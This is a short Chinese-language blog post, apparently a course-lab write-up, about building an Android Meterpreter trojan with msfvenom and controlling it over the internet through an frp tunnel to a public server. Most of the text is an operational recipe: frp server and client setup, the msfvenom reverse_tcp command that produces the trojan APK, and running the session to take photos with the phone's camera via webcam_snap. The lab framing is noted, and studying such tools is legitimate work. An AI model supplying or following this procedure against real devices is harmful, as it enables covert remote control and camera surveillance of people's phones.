MSF-Android课程实验,使用frp做内网穿透来控制木马。
总述
在实践课上有布置frp内网穿透(内网到公网)和简单的msf木马使用(木马只能内网通信)的任务。此处将两者结合,把木马链接到服务器上,经过内网穿透在本地控制木马。都是入门级实践。
准备
frp代码下载:https://github.com/fatedier/frp/releases?tdsourcetag=s_pctim_aiomsg
内网 kali虚拟机
公网 Ubuntu服务器
android手机一台
部署frps
到上述链接下载对应代码到服务器和本地。
或者使用命令wget https://github.com/fatedier/frp/releases/download/v0.21.0/frp_0.21.0_linux_amd64.tar.gz
解压
1 | tar -zxvf frp_0.21.0_linux_amd64.tar.gz |
进入目录frp_0.21.0_linux_amd64编辑frps.ini
- vim frps.ini进入编辑,insert键开始编辑,esc键停止编辑,shift+Z+Z保存并退出。
- bind_port是自己设定的frp服务端端口
- vhost_http_port是自己设定的http访问端口。
- 执行./frps启动frp服务器端的服务
配置frpc
客户端的操作与服务器端类似,具体参数不同而已。
1 | 编辑frpc.ini : |
执行./frpc启动frpc服务
两端服务连接成功的提示
利用msf生成一个简单木马
msfvenom -p android/meterpreter/reverse_tcp lhost=serverIP lport=4444 R > horse.apk
lhost指向公网服务器ip
lport与fpc.ini的remote_port相同
确保frp连接畅通,木马安装并开始运行,输入exploit并回车
webcam_snap拍摄照片(默认后置摄像头)